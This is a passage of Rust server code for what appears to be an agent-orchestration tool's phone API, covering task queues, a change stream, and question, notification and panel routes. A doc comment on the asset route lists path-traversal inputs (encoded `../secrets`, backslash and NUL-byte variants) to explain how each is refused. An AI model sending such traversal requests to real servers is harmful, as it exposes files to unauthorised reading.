6204        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6205        // behind must stop looking like it still needs a human. `ui.home`,
6206        // not the process-global `run::home()`: they agree in a real
6207        // process, but only `ui.home` also agrees with a test fixture's own
6208        // directory.
6209        crate::daemon::supersede_prior_runs(t, &home);
6210        Ok(())
6211    })
6212    .await
6213}
6214
6215/// `DELETE /api/queue/{id}`.
6216///
6217/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6218/// names this task: a `running` status or an orphaned `.lock` left behind by a
6219/// killed daemon is a leftover, and treating either as authority made the
6220/// task undeletable from the phone for good. The associated runs, if any, are
6221/// kept: a run is self-contained history and not an appendage of the task.
6222async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6223    blocking(move || {
6224        let id = resolve_task(&ui.queue, &id)?;
6225        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6226        ui.queue
6227            .remove(&id, in_flight, &ui.questions)
6228            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6229        Ok(StatusCode::NO_CONTENT)
6230    })
6231    .await
6232}
6233
6234/// Read a task, change it, write it back, under the queue's own lock.
6235///
6236/// Taking the same claim a daemon takes is what makes hold, release,
6237/// priority, edit, and done safe to press while magi is running: without it
6238/// the daemon's next save would land on top of the operator's change and
6239/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6240/// both do, for a running task - and that refusal becomes the 4xx the card
6241/// shows, same as any other domain rule.
6242async fn mutate(
6243    ui: Arc<Ui>,
6244    id: String,
6245    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6246) -> ApiResult<Json<TaskView>> {
6247    blocking(move || {
6248        let id = resolve_task(&ui.queue, &id)?;
6249        // `claim` fails when the lock file already exists, which is the
6250        // conflict the UI must report: the daemon owns that task's file for
6251        // as long as it is running it, and our write would be lost under its
6252        // next save. The message names the lock either way.
6253        let _claim = ui.queue.claim(&id).map_err(|e| {
6254            ApiError::conflict(format!(
6255                "{e:#} - a daemon is running this task, so it cannot be \
6256                 changed from here yet; wait until it is released, then retry"
6257            ))
6258        })?;
6259        let mut task = ui.queue.get(&id)?;
6260        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6261            Ok(dup) => ApiError::conflict(dup.render(
6262                "Nothing was saved. If it is not a duplicate, repeat the request with \
6263                 \"force\": true.",
6264            )),
6265            Err(e) => ApiError::bad_request_from(e),
6266        })?;
6267        ui.queue.put(&mut task)?;
6268        Ok(Json(TaskView::from(task)))
6269    })
6270    .await
6271}
6272
6273/// The change stream: one revision number per store, on connect and whenever
6274/// any of them moves.
6275///
6276/// The poll runs in one spawned task per client, which is affordable because
6277/// the work is a directory scan and a `stat` per file. It stops as soon as the
6278/// receiver is gone, so a phone that walks out of range costs nothing after
6279/// its next tick - there is no session and no cleanup to forget.
6280async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6281    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6282    tokio::spawn(async move {
6283        let mut ticker = tokio::time::interval(POLL);
6284        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6285        let mut stamps: Option<[Stamps; 3]> = None;
6286        loop {
6287            // The first tick completes immediately, which is what makes the
6288            // stream announce the current revisions on connect.
6289            ticker.tick().await;
6290            let state = Arc::clone(&ui);
6291            let revisions = tokio::task::spawn_blocking(move || {
6292                let stamps = [
6293                    store_stamps(state.queue.root(), false),
6294                    store_stamps(&state.runs, true),
6295                    store_stamps(state.talks.root(), false),
6296                ];
6297                let revisions = (
6298                    stamps_revision(&stamps[0]),
6299                    stamps_revision(&stamps[1]),
6300                    state.questions.revision(),
6301                    stamps_revision(&stamps[2]),
6302                    state.notices.revision(),
6303                    // The loop's counter is in-process state rather than a
6304                    // file, so nothing the three stats above look at would
6305                    // tell this phone that another one started the loop.
6306                    state.lock_loop().rev,
6307                );
6308                (revisions, stamps)
6309            })
6310            .await;
6311            let Ok((revisions, next_stamps)) = revisions else {
6312                break;
6313            };
6314            if last == Some(revisions) {
6315                continue;
6316            }
6317            let mut payload = serde_json::json!({
6318                "queue_rev": revisions.0,
6319                "runs_rev": revisions.1,
6320                "questions_rev": revisions.2,
6321                "talks_rev": revisions.3,
6322                "notifications_rev": revisions.4,
6323                "loop_rev": revisions.5,
6324            });
6325            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6326                for (index, (key, rev)) in [
6327                    ("queue_delta", base.0),
6328                    ("runs_delta", base.1),
6329                    ("talks_delta", base.3),
6330                ]
6331                .into_iter()
6332                .enumerate()
6333                {
6334                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6335                    // Empty diffs may mean a non-file dependency moved. Read whole.
6336                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6337                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6338                    }
6339                }
6340            }
6341            last = Some(revisions);
6342            stamps = Some(next_stamps);
6343            // Giving up beats looping if the receiver is gone.
6344            let Ok(event) = Event::default().event("change").json_data(payload) else {
6345                break;
6346            };
6347            if tx.send(event).await.is_err() {
6348                break;
6349            }
6350        }
6351    });
6352    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6353        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6354}
6355
6356type Stamps = HashMap<String, (u128, u64)>;
6357
6358/// Metadata only: no task instructions or conversation bodies are read here.
6359fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6360    std::fs::read_dir(root)
6361        .into_iter()
6362        .flatten()
6363        .flatten()
6364        .filter_map(|entry| {
6365            let path = if runs {
6366                entry.path().join("run.json")
6367            } else {
6368                entry.path()
6369            };
6370            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6371                return None;
6372            }
6373            let metadata = path.metadata().ok()?;
6374            let modified = metadata
6375                .modified()
6376                .ok()?
6377                .duration_since(std::time::UNIX_EPOCH)
6378                .ok()?;
6379            let id = if runs {
6380                entry.file_name().to_string_lossy().into_owned()
6381            } else {
6382                path.file_stem()?.to_string_lossy().into_owned()
6383            };
6384            Some((id, (modified.as_nanos(), metadata.len())))
6385        })
6386        .collect()
6387}
6388
6389#[derive(Debug, Serialize)]
6390struct Delta {
6391    base: u64,
6392    changed: Vec<String>,
6393    removed: Vec<String>,
6394}
6395
6396fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6397    let mut changed: Vec<_> = next
6398        .iter()
6399        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6400        .map(|(id, _)| id.clone())
6401        .collect();
6402    let mut removed: Vec<_> = previous
6403        .keys()
6404        .filter(|id| !next.contains_key(*id))
6405        .cloned()
6406        .collect();
6407    changed.sort_unstable();
6408    removed.sort_unstable();
6409    Delta {
6410        base,
6411        changed,
6412        removed,
6413    }
6414}
6415
6416/// Change detection token for recorded runs under `runs`.
6417///
6418/// Combines the id and `run.json` modification time of each run, so adding,
6419/// updating, or deleting any run — even an older one — moves the revision and
6420/// notifies connected clients via the change stream. Returns 0 when no runs
6421/// exist.
6422fn runs_revision(runs: &FsPath) -> u64 {
6423    stamps_revision(&store_stamps(runs, true))
6424}
6425
6426/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6427/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6428/// and deleting an older conversation (a newest-mtime token cannot do that).
6429fn stamps_revision(stamps: &Stamps) -> u64 {
6430    use std::hash::{Hash as _, Hasher as _};
6431    if stamps.is_empty() {
6432        return 0;
6433    }
6434    let mut entries: Vec<_> = stamps.iter().collect();
6435    entries.sort_unstable();
6436    let mut hasher = std::hash::DefaultHasher::new();
6437    entries.hash(&mut hasher);
6438    hasher.finish().max(1)
6439}
6440
6441/// Run ids under `runs`, newest first.
6442///
6443/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6444/// which reads the process-global home: the server has to be drivable against
6445/// a temp directory for any of this to be testable.
6446fn run_ids(runs: &FsPath) -> Vec<String> {
6447    let mut ids: Vec<String> = std::fs::read_dir(runs)
6448        .into_iter()
6449        .flatten()
6450        .flatten()
6451        .filter(|e| e.path().join("run.json").is_file())
6452        .map(|e| e.file_name().to_string_lossy().into_owned())
6453        .collect();
6454    // Ids start with a sortable timestamp.
6455    ids.sort_unstable_by(|a, b| b.cmp(a));
6456    ids
6457}
6458
6459/// Read one run's state from an explicit runs root.
6460fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6461    let path = runs.join(id).join("run.json");
6462    let body =
6463        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6464    let state: RunState =
6465        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6466    // The same migration `RunState::load` applies, so a record from the
6467    // previous schema reads here as it does everywhere else (an origin-less
6468    // run shows as "origin unknown") instead of vanishing from the phone the
6469    // moment the schema is bumped.
6470    run::migrate_schema(state)
6471}
6472
6473/// Runs on disk under `runs` whose state this build cannot parse - almost
6474/// always a schema bump, occasionally a run killed mid-write.
6475///
6476/// Exposed so every surface that reports on runs shares one count instead of
6477/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6478/// `magi doctor` calls this directly rather than guessing at the same number
6479/// a second way.
6480#[must_use]
6481pub fn runs_unreadable(runs: &FsPath) -> usize {
6482    run_ids(runs)
6483        .into_iter()
6484        .filter(|id| read_run(runs, id).is_err())
6485        .count()
6486}
6487
6488/// Expand an id or short id to exactly one run id.
6489fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6490    if runs.join(id).join("run.json").is_file() {
6491        return Ok(id.to_owned());
6492    }
6493    pick(run_ids(runs), id, "run")
6494}
6495
6496/// Expand an id or short id to exactly one task id.
6497fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6498    if queue.path_of(id).is_file() {
6499        return Ok(id.to_owned());
6500    }
6501    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6502}
6503
6504/// A question as the phone reads it.
6505///
6506/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6507/// text already parsed into a node tree so the client never runs its own
6508/// markdown reader over agent-authored prose. A relative image path in it
6509/// resolves against this question's own panel asset route, which is the one
6510/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6511/// separate, sandboxed document, but `detail` is rendered inline in the
6512/// operator's own page, so an image reference in it may only ever point at
6513/// files magi itself already serves for this question.
6514#[derive(Debug, Serialize)]
6515struct QuestionView {
6516    #[serde(flatten)]
6517    question: Question,
6518    detail_md: Vec<md::Node>,
6519    posting_view: Option<PostingView>,
6520    /// Each thread turn's body, parsed; same order as `question.thread`.
6521    thread_bodies_md: Vec<Vec<md::Node>>,
6522    /// Each thread turn's deputy note, parsed (`None` for a turn without
6523    /// one); same order as `question.thread`.
6524    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6525    /// Is the ball in the agent's court right now?
6526    ///
6527    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6528    /// [`Question::say`] - so this is the one field that tells the phone to
6529    /// disable the answer controls and show "waiting for the agent" instead of
6530    /// a card the owner can act on. Computed rather than stored on
6531    /// [`Question`] itself, on the same reasoning as `waiting` on
6532    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6533    /// it here means the client never has to re-derive that rule.
6534    waiting_on_agent: bool,
6535    /// Who is waiting on this open question - see [`holder_of`]. Separate
6536    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6537    /// anyone is there to take it.
6538    holder: Option<&'static str>,
6539    /// Whether `magi serve` can start a follow-up agent for a conductor
6540    /// question at all: false when `daemon.max_deputies = 0` or the config is
6541    /// unreadable. Separate from `holder`, which says who is listening now.
6542    deputies_enabled: bool,
6543    /// All starts were spent and no live holder remains. Display-only: the
6544    /// final attempt increments `starts` before running under its lease.
6545    deputy_exhausted: bool,
6546    text_delivery: crate::question_delivery::Availability,
6547    /// `question.run` is a task id (conductor / triage questions), not a run
6548    /// id, so the UI links it to the task page.
6549    run_is_task: bool,
6550    /// The existing chat this question's task came from, including settled
6551    /// questions - see [`crate::consult::associated_talk`].
6552    origin_chat: Option<String>,
6553    /// `origin_chat` is closed; consulting reopens it first.
6554    origin_chat_closed: bool,
6555    /// Consultation eligibility is separate from navigation to the chat.
6556    can_consult_chat: bool,
6557}
6558
6559#[derive(Debug, Serialize)]
6560struct PostingView {
6561    before_md: Vec<md::Node>,
6562    after_md: Vec<md::Node>,
6563    fields: Vec<crate::github_text::ComparisonView>,
6564}
6565
6566fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6567    let comparison = question.posting_comparison.as_ref()?;
6568    if !comparison.matches_detail(&question.detail) {
6569        return None;
6570    }
6571    let mut ids = std::collections::BTreeSet::new();
6572    if comparison.fields.is_empty()
6573        || comparison
6574            .fields
6575            .iter()
6576            .flat_map(|f| &f.pairs)
6577            .any(|p| !ids.insert(p.id))
6578        || comparison
6579            .fields
6580            .iter()
6581            .flat_map(|f| &f.original_triggers)
6582            .any(|t| !ids.insert(t.id))
6583    {
6584        return None;
6585    }
6586    let fields = comparison
6587        .fields
6588        .iter()
6589        .map(|f| f.view(comparison.excerpt))
6590        .collect::<Option<Vec<_>>>()?;
6591    Some(PostingView {
6592        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6593        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6594        fields,
6595    })
6596}
6597
6598impl QuestionView {
6599    /// The view of `question`, reading who is waiting on it from `store`.
6600    ///
6601    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6602    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6603        let base = md::ImageBase::QuestionPanel {
6604            id: question.id.clone(),
6605        };
6606        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6607        Self {
6608            detail_md: md::to_nodes(&question.detail, &base),
6609            posting_view: posting_view(&question, &base),
6610            thread_bodies_md: question
6611                .thread
6612                .iter()
6613                .map(|t| md::to_nodes(&t.body, &base))
6614                .collect(),
6615            thread_notes_md: question
6616                .thread
6617                .iter()
6618                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6619                .collect(),
6620            deputy_exhausted: store.deputy_exhausted(&question),
6621            waiting_on_agent: question.waiting_on_agent(),
6622            holder,
6623            deputies_enabled: deputies_enabled(cfg, &question),
6624            text_delivery: crate::question_delivery::availability(store, &question, cfg),
6625            run_is_task: question.run_names_task(),
6626            origin_chat: None,
6627            origin_chat_closed: false,
6628            can_consult_chat: false,
6629            question,
6630        }
6631    }
6632
6633    /// Fill `origin_chat` from the queue and the talks.
6634    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6635        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6636        self.can_consult_chat = consult.is_some();
6637        let talk =
6638            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6639        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6640        self.origin_chat = talk.map(|t| t.id);
6641        self
6642    }
6643}
6644
6645/// The config this repository resolves, or `None` when it cannot be read.
6646/// Discovering is git processes plus a config render, so a request that needs
6647/// it for many items takes it once and passes it down.
6648fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6649    Config::discover(repo, None).ok().map(|(c, _)| c)
6650}
6651
6652/// Can `magi serve` start a deputy for this question under `cfg`?
6653fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6654    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6655}
6656
6657/// The views `GET /api/questions` answers. `load` runs at most once, however
6658/// many questions there are, and not at all when there are none.
6659fn question_views(
6660    qs: Vec<Question>,
6661    store: &ask::Questions,
6662    load: impl FnOnce() -> Option<Config>,
6663) -> Vec<QuestionView> {
6664    if qs.is_empty() {
6665        return Vec::new();
6666    }
6667    let cfg = load();
6668    qs.into_iter()
6669        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6670        .collect()
6671}
6672
6673/// Who is honestly waiting on an open question right now: `"asker"` (the
6674/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6675/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6676/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6677/// up, or the question never had anyone listening (a conductor question or a
6678/// merge approval from before deputies, or not yet given one).
6679///
6680/// `None` for a question that is settled, and for one that is not an agent's
6681/// to wait on at all (a release notice).
6682fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6683    if !q.status.open() {
6684        return None;
6685    }
6686    if q.cwd.is_none()
6687        && q.deputy.is_none()
6688        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6689    {
6690        return crate::deputy::kind_of(q).map(|_| "nobody");
6691    }
6692    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6693        Some(_) if q.deputy.is_some() => "deputy",
6694        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6695        Some(_) => "asker",
6696        None => "nobody",
6697    })
6698}
6699
6700/// `GET /api/questions`.
6701///
6702/// Everything, not just the open ones: an answered question is the record of a
6703/// decision, and the phone is where the operator goes back to check what they
6704/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6705async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6706    blocking(move || {
6707        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6708        Ok(Json(
6709            question_views(ui.questions.list(), &ui.questions, || {
6710                deputy_config(&ui.repo)
6711            })
6712            .into_iter()
6713            .map(|v| v.with_origin(&tasks, &talks))
6714            .collect(),
6715        ))
6716    })
6717    .await
6718}
6719
6720/// `GET /api/notifications`: not dismissed, newest first, with the unread
6721/// count so the badge and the list cannot disagree.
6722async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6723    blocking(move || {
6724        let items = ui.notices.list();
6725        let unread = items.iter().filter(|n| n.unread()).count();
6726        Ok(Json(
6727            serde_json::json!({ "unread": unread, "items": items }),
6728        ))
6729    })
6730    .await
6731}
6732
6733fn notice_error(e: anyhow::Error) -> ApiError {
6734    // An unknown or malformed id and a vanished file are the same answer to
6735    // the phone: that notification is gone.
6736    ApiError::not_found(format!("{e:#}"))
6737}
6738
6739/// `POST /api/notifications/{id}/read`.
6740async fn notification_read(
6741    State(ui): State<Arc<Ui>>,
6742    Path(id): Path<String>,
6743) -> ApiResult<Json<Notice>> {
6744    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6745}
6746
6747/// `POST /api/notifications/{id}/dismiss`.
6748async fn notification_dismiss(
6749    State(ui): State<Arc<Ui>>,
6750    Path(id): Path<String>,
6751) -> ApiResult<Json<Notice>> {
6752    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6753}
6754
6755/// `POST /api/notifications/read-all`.
6756async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6757    blocking(move || {
6758        let changed = ui.notices.mark_all_read()?;
6759        Ok(Json(serde_json::json!({ "marked": changed })))
6760    })
6761    .await
6762}
6763
6764/// The body of `POST /api/questions/{id}/answer`.
6765///
6766/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6767/// a bad request rather than a guess: an answer magi invented is worse than a
6768/// question left open.
6769#[derive(Debug, Default, Deserialize)]
6770#[serde(default, deny_unknown_fields)]
6771struct NewAnswer {
6772    choice: Option<String>,
6773    text: Option<String>,
6774}
6775
6776async fn question_answer(
6777    State(ui): State<Arc<Ui>>,
6778    Path(id): Path<String>,
6779    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6780) -> ApiResult<Json<QuestionView>> {
6781    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6782    let answer = match (body.choice, body.text) {
6783        (Some(c), None) => Answer::Choice(c),
6784        (None, Some(t)) => Answer::Text(t),
6785        (Some(_), Some(_)) => {
6786            return Err(ApiError::bad_request(
6787                "send either `choice` or `text`, not both",
6788            ));
6789        }
6790        (None, None) => {
6791            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6792        }
6793    };
6794
6795    blocking(move || {
6796        let id = resolve_question(&ui.questions, &id)?;
6797        let q = ui
6798            .questions
6799            .get(&id)
6800            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6801        if !q.status.open() {
6802            // Answered from the terminal, or by another phone, in between the
6803            // list and the tap. The UI shows the recorded answer rather than an
6804            // error, so it needs the record, not just the status.
6805            return Err(ApiError::conflict(format!(
6806                "question {} is already {}",
6807                q.short(),
6808                q.status.as_str()
6809            )));
6810        }
6811        // `Question::answer` owns the rules - an unoffered choice, free text on
6812        // a multiple-choice question, an empty reply - so the route does not
6813        // restate them and cannot drift from the CLI's behaviour.
6814        let cfg = deputy_config(&ui.repo);
6815        let (q, ()) = ui
6816            .questions
6817            .update(&q.id, |r| r.answer(answer))
6818            .map_err(ApiError::bad_request_from)?;
6819        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6820        Ok(Json(
6821            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6822        ))
6823    })
6824    .await
6825}
6826
6827/// A dedicated status avoids the client's settled-question 409 handling.
6828fn question_text_error(e: anyhow::Error) -> ApiError {
6829    let reason = e
6830        .downcast_ref::<crate::question_delivery::TextUnavailable>()
6831        .map(|e| e.reason);
6832    let error = ApiError::bad_request_from(e);
6833    if let Some(reason) = reason {
6834        ApiError {
6835            text_reason: Some(reason),
6836            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6837        }
6838    } else {
6839        error
6840    }
6841}
6842
6843/// The body of `POST /api/questions/{id}/say`.
6844#[derive(Debug, Deserialize)]
6845#[serde(deny_unknown_fields)]
6846struct NewSay {
6847    body: String,
6848}
6849
6850/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6851///
6852/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6853/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6854/// file, so there is no turn to serialize against and no
6855/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6856/// is a *different* process - the run parked behind `magi ask` - and picks
6857/// the reply up on its own poll of the very same file, same as an answer
6858/// does.
6859async fn question_say(
6860    State(ui): State<Arc<Ui>>,
6861    Path(id): Path<String>,
6862    body: std::result::Result<Json<NewSay>, JsonRejection>,
6863) -> ApiResult<Json<QuestionView>> {
6864    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6865    blocking(move || {
6866        let id = resolve_question(&ui.questions, &id)?;
6867        let q = ui
6868            .questions
6869            .get(&id)
6870            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6871        if !q.status.open() {
6872            // Same granularity as `question_answer`: answered or abandoned in
6873            // between the list and the tap is not this route's error to
6874            // explain any differently.
6875            return Err(ApiError::conflict(format!(
6876                "question {} is already {}",
6877                q.short(),
6878                q.status.as_str()
6879            )));
6880        }
6881        // `Question::say` owns the one rule that matters here - an empty
6882        // message tells the agent nothing - so the route does not restate it.
6883        let cfg = deputy_config(&ui.repo);
6884        let (q, ()) = ui
6885            .questions
6886            .update(&q.id, |r| {
6887                if body.body.trim().is_empty() {
6888                    return r.say(body.body);
6889                }
6890                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6891                r.say(body.body)
6892            })
6893            .map_err(question_text_error)?;
6894        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6895        Ok(Json(
6896            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6897        ))
6898    })
6899    .await
6900}
6901
6902/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6903/// came from. The question stays open: the chat agent answers it with `magi
6904/// answer`, or puts the decision to the owner in the conversation.
6905///
6906/// Answers 202 and runs the turn in the background, like every route that
6907/// spends agent calls. The text is queued as a draft of the existing talk, and
6908/// the turn goes through the talk's own gate and session; no seat or waiter is
6909/// started here.
6910async fn question_consult(
6911    State(ui): State<Arc<Ui>>,
6912    Path(id): Path<String>,
6913) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6914    let (view, reclaimed) = blocking({
6915        let ui = Arc::clone(&ui);
6916        move || {
6917            let id = resolve_question(&ui.questions, &id)?;
6918            let q = ui
6919                .questions
6920                .get(&id)
6921                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6922            if !q.status.open() {
6923                return Err(ApiError::conflict(format!(
6924                    "question {} is already {}",
6925                    q.short(),
6926                    q.status.as_str()
6927                )));
6928            }
6929            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6930            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6931                return Err(ApiError::conflict(format!(
6932                    "question {} has no chat to ask",
6933                    q.short()
6934                )));
6935            };
6936            // Read the config before `begin` saves anything: a failure here
6937            // must leave no consult record or draft behind, or a retry would
6938            // see `fresh == false` and never start the turn.
6939            let cfg = if q.consult.is_none() {
6940                Some(Config::discover(&talk.repo, None)?.0)
6941            } else {
6942                None
6943            };
6944            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6945            let claim = if fresh {
6946                match ui.begin_queued_talk_turn(&talk.id)? {
6947                    Some(turn_guard) => {
6948                        let talk = ui.talks.get(&talk.id)?;
6949                        let cfg = match cfg {
6950                            Some(cfg) => cfg,
6951                            None => Config::discover(&talk.repo, None)?.0,
6952                        };
6953                        Some((talk, cfg, turn_guard))
6954                    }
6955                    None => None,
6956                }
6957            } else {
6958                None
6959            };
6960            let q = ui.questions.get(&q.id)?;
6961            let cfg = deputy_config(&ui.repo);
6962            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6963            Ok((view, claim))
6964        }
6965    })
6966    .await?;
6967    if let Some((talk, cfg, turn_guard)) = reclaimed {
6968        let talks = ui.talks.clone();
6969        let id = talk.id.clone();
6970        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6971    }
6972    Ok((StatusCode::ACCEPTED, Json(view)))
6973}
6974
6975/// Expand an id or short id to exactly one question id.
6976fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6977    if store.path_of(id).is_file() {
6978        return Ok(id.to_owned());
6979    }
6980    pick(
6981        store.list().into_iter().map(|q| q.id).collect(),
6982        id,
6983        "question",
6984    )
6985}
6986
6987/// `GET /api/questions/{id}/panel`.
6988///
6989/// The panel an agent wrote for this question, as `text/html` under
6990/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6991/// A question without one is a 404 rather than an empty page: the client
6992/// preflights this route with `HEAD` and must be able to tell "no panel" from
6993/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6994/// parent document so it cannot tell the difference by looking.
6995///
6996/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6997/// sanitises or minifies it - a sanitiser is a list of things someone thought
6998/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6999/// is the direction that stays safe when an agent writes markup nobody
7000/// predicted.
7001async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7002    blocking(move || {
7003        let id = resolve_question(&ui.questions, &id)?;
7004        let Some(html) = ui.questions.panel_html(&id) else {
7005            return Err(ApiError::not_found(format!("question {id} has no panel")));
7006        };
7007        Ok(panel_response(
7008            "text/html; charset=utf-8",
7009            false,
7010            html.into_bytes(),
7011        ))
7012    })
7013    .await
7014}
7015
7016/// `GET /api/questions/{id}/asset/{name}`.
7017///
7018/// One file from the question's own panel directory, so a panel can show a
7019/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7020/// having to allow anything off this machine.
7021///
7022/// This is the only route in the server where a client names a file, so it is
7023/// the only one with a traversal surface, and the name is checked by
7024/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7025/// what is worth being explicit about, because the answer is not "all of it in
7026/// one place":
7027///
7028/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7029///   the raw request path and `{name}` spans exactly one segment, so a real
7030///   slash makes the request too long for the route and the router answers 404.
7031/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7032///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7033///   `..\secrets` respectively, which look like plain filenames to the router.
7034///   The validator refuses them here - both for the literal `..` and because
7035///   `/` and `\` are not in the permitted character set - and answers 400.
7036/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7037///   the platform's path API is not, and it is refused here for the same
7038///   reason: NUL is not a permitted character.
7039/// * [`Questions::panel_asset`] validates again on read, so the check is not
7040///   load-bearing in only one place. This route's own check exists so the
7041///   failure is a 400 that says which name was wrong, rather than a store error
7042///   the operator has to interpret.
7043async fn question_asset(
7044    State(ui): State<Arc<Ui>>,
7045    Path((id, name)): Path<(String, String)>,
7046) -> ApiResult<Response> {
7047    // Before any filesystem work and before any path is built: a name this
7048    // server will not serve should not become a `PathBuf` at all.
7049    if !crate::ask::valid_asset_name(&name) {
7050        return Err(ApiError::bad_request(format!(
7051            "`{name}` is not a usable asset name"
7052        )));
7053    }
7054    blocking(move || {
7055        let id = resolve_question(&ui.questions, &id)?;
7056        let asset = ui
7057            .questions
7058            .panel_asset(&id, &name)
7059            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7060        let Some(bytes) = asset else {
7061            return Err(ApiError::not_found(format!(
7062                "question {id} has no asset `{name}`"
7063            )));
7064        };
7065        Ok(panel_response(
7066            asset_content_type(&name),
7067            is_svg(&name),
7068            bytes,
7069        ))
7070    })
